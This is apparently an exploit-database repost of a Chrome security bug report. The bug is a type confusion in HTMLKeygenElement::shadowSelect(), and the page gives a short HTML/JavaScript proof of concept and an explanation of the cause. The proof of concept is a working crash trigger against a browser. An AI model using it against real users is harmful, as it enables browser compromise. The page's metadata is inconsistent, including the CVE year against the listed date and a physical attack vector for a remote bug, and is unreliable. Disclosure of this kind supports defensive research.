Advertisement






Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

CVE Category Price Severity
CVE-2020-6572 CWE-119 Not disclosed High
Author Risk Exploitation Type Date
Anonymous High Remote 2017-02-01
CVSS EPSS EPSSP
CVSS:4.0/AV:P/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017020009

Below is a copy:

Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect() 




Chrome bug:
<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=666246" title="" class="" rel="nofollow">https://bugs.chromium.org/p/chromium/issues/detail?id=666246</a>

PoC:

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: ifratric



Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.